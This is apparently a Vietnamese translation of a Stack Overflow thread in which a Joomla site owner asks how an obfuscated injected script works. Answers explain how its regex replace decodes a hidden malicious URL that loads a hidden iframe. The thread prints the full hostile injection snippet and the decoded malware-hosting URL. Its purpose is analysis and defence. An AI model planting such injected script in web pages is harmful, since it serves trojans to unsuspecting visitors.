Tập lệnh lây nhiễm trang web này hoạt động như thế nào?


99

Joomla của tôi! trang web đã nhiều lần bị tấn công. Ai đó, bằng cách nào đó, đã quản lý để đưa những thứ rác rưởi sau vào các tập lệnh php quan trọng, nhưng ý tôi là không nói về việc cấu hình Joomla. Trang web không được truy cập nhiều (đôi khi tôi sợ rằng mình có thể là khách truy cập duy nhất vào trang web đó ...) và tôi không quan tâm lắm đến việc sao lưu và chạy trang web. Cuối cùng thì tôi sẽ giải quyết.

Câu hỏi của tôi là, rác này hoạt động như thế nào? Tôi nhìn vào nó và tôi chỉ không thấy điều này có gây hại gì không? Những gì nó làm là nó cố gắng tải xuống một tệp PDF có tên ChangeLog.pdf, tệp này bị nhiễm trojan và sau khi mở sẽ đóng băng Acrobat của bạn và tàn phá máy tính của bạn. Làm thế nào nó làm điều đó, tôi không biết, tôi không quan tâm. Nhưng làm thế nào để đoạn script sau gọi tải xuống?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET đã phát hiện mã này là trojan JS / TrojanDownloader.Agent.NRO


41
Xin đừng ai đi lang thang để kiểm tra liên kết vì tò mò!
DOK

1
Vâng, đừng đi lang thang để cố gắng tìm hiểu xem chuyện gì đang xảy ra, điều kỳ diệu nằm ở mã hóa URL đơn giản và giải mã / phân tích cú pháp sau đó của chuỗi bằng Replace / RegEx mà bạn thấy ở cuối dòng.
DoctorLouie

13
"Đoạn kịch bản" thoạt đầu đọc giống như một thứ gì đó khác.
Aditya MP

Câu trả lời:


181

Chú ý replacegọi sau chuỗi lộn xộn khổng lồ: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Nó loại bỏ hầu hết các ký tự đặc biệt, biến nó thành một URL bình thường:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(Tôi tự thay đổi http:để evil:)

Lưu ý rằng regex có thể đã được đơn giản hóa thành .replace(/[#$@^&()!]/ig, '')

Nếu bạn nhìn vào tập lệnh, bạn sẽ thấy rằng đó là một tập lệnh rất đơn giản đưa một IFRAME ẩn chứa đường dẫn /index.php?ystừ cùng một miền.

Tôi đã yêu cầu trang đó trong Fiddler, và nó không có nội dung.


6
Tôi nghĩ rằng tập lệnh cung cấp nội dung của iframe được tạo để không bắt đầu tải xuống pdf mọi lúc. Có thể có 1 trong 10 cơ hội hoặc tương tự như vậy. Nó không cố tải xuống pdf mỗi khi tôi làm mới trang joomla. Thậm chí có thể là 1 trong 100 ... ai biết được?
Peter Perháč

174
+1 vì đã đề cập rằng mã có thể được viết hiệu quả hơn. :)
Pekka

8
@Pekka, tôi nghĩ rằng nó đã cố tình viết như vậy để được mơ hồ hơn
xem Elliptical

7
@Elipticalview Chắc chắn. Nếu người viết lo lắng về hiệu quả thì chắc chắn anh ta đã không sử dụng RegEx thay thế để lấy một chuỗi tĩnh. Cười lớn.
Dan Bechard

Tôi không thấy công cụ sửa đổi mẫu không phân biệt chữ hoa chữ thường sẽ làm được gì cho một mẫu không có chữ cái. Tôi cũng sẽ sử dụng +sau lớp ký tự ... nếu sử dụng regex.
mickmackusa

34

Những câu trả lời này có thể giúp bạn hiểu bản chất của mã JavaScript độc hại nhưng những gì bạn nên tìm kiếm là một cách để đóng lỗ hổng kế thừa trong công cụ Joomla. Các khuôn khổ đóng gói sẵn dễ có sơ hở, có thể là cố ý hoặc vô ý, đặc biệt khi bạn cân nhắc rằng chúng được thiết kế để hoạt động trên môi trường unix, mac và windows.

Công việc của tôi đòi hỏi tôi phải chạy nhiều miền, ứng dụng và khuôn khổ trên nhiều loại máy chủ và hệ thống cho khách hàng và bản thân. Theo thời gian, tôi đã thấy ngày càng nhiều bot thu thập dữ liệu các hệ thống này để tìm kiếm các kẽ hở / lối vào đã biết bằng cách của các lối vào cửa sau được tạo bởi các khuôn khổ đó. Điều tốt khi tôi sử dụng bất kỳ loại khung công tác nào, điều mà tôi hiếm khi làm, tôi đảm bảo đổi tên hầu hết nếu không phải là toàn bộ cấu trúc tệp để loại bỏ những lỗ hổng / cửa hậu khó chịu đó. Ít nhất bạn có thể đổi tên các thư mục sẽ loại bỏ hầu hết các bot, nhưng cách của tôi là loại bỏ hoàn toàn các tham chiếu cung cấp manh mối về bản chất của khung, bao gồm đổi tên toàn bộ cấu trúc tệp chứ không chỉ thư mục. Luôn giữ một bản đồ các quy ước đặt tên mới liên quan đến các quy ước đặt tên cũ để việc thêm các trình cắm vào khung cơ sở của bạn trở nên nhanh chóng. Một khi bạn hiểu được điều này, bạn có thể tiến xa đến mức đổi tên toàn bộ cấu trúc khung làm việc theo chương trình để có kết quả nhanh hơn, điều này đặc biệt hữu ích khi phải đối phó với các khách hàng cần cập nhật khung công tác của họ bằng các trình cắm thêm và những thứ tương tự.


1
Chỉ cần không xóa thông tin về nguồn của khuôn khổ, điều đó sẽ hoàn toàn sai.
DoctorLouie

2
Oooo, cảm ơn. Đó là một câu trả lời hay. Không thực sự trả lời câu hỏi nhưng vẫn +1, vì đây thực sự là một bài đọc rất thú vị và các đề xuất tốt được đưa ra. Ta
Peter Perháč

20

Nó chỉ thực hiện thay thế regex trên url tập lệnh để cung cấp cho bạn

LƯU Ý: KHÔNG THEO DÕI LIÊN KẾT BÊN DƯỚI (được chèn **để ngăn chặn những kẻ sao chép)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

như là src


đơn giản như vậy phải không? lòng tốt của tôi ... tôi đã được pwnd bởi SO một lần nữa :)
Peter Perháč

23
Đó là một URL vui nhộn.
Jordan Running

@Josh - Tùy bạn, tôi chưa thử nên không thể cho bạn biết chính xác tại sao. Tôi nghi ngờ rằng có thể có tập lệnh độc hại trên trang. Bạn có thể làm như vậy với rủi ro của riêng bạn!
Russ Cam,

8

Nó sử dụng chức năng thay thế để thay thế các ký tự rác bằng regex, không có gì sai với mã:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

Tập lệnh tải của nó từ

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

Và tập lệnh đó tải iframetừ với khả năng hiển thịhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

2

Khi bạn đọc toàn bộ, bạn thấy rằng đó là một chuỗi được theo sau bởi một lệnh thay thế.


2

Tôi có cùng một sript trên các trang của mình trong các tệp chỉ mục *. *. Tôi đang viết mã của riêng mình bằng PHP. Câu hỏi của tôi không phải là cách này hoạt động như thế nào, nhưng tôi đang hỏi làm thế nào để bảo vệ nếu bạn biết các cửa sau của chúng. Tôi đã thay đổi biểu mẫu và đọc $ _POST và $ _GET bằng cách thay thế <> và http: //, v.v.


2

Theo quan điểm của tôi. Bạn có / có thể cài đặt một công cụ sao lưu Joomla như Joomlapack không?

Tôi đã thiết lập nó để chạy qua một tập lệnh CHRON để giữ cho hàng hóa thuận tiện trong trường hợp những kẻ đánh cắp có thể ăn cắp.

Bạn đang chạy phiên bản Joomla nào?

Phiên bản 1.0.X không còn được cập nhật nữa và tuổi thực sự đang bắt đầu xuất hiện. Bạn nợ chính mình để thực hiện một bản sao lưu và có kế hoạch nâng cấp lên 1.5 và dự đoán những điều kỳ diệu của 1.6

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.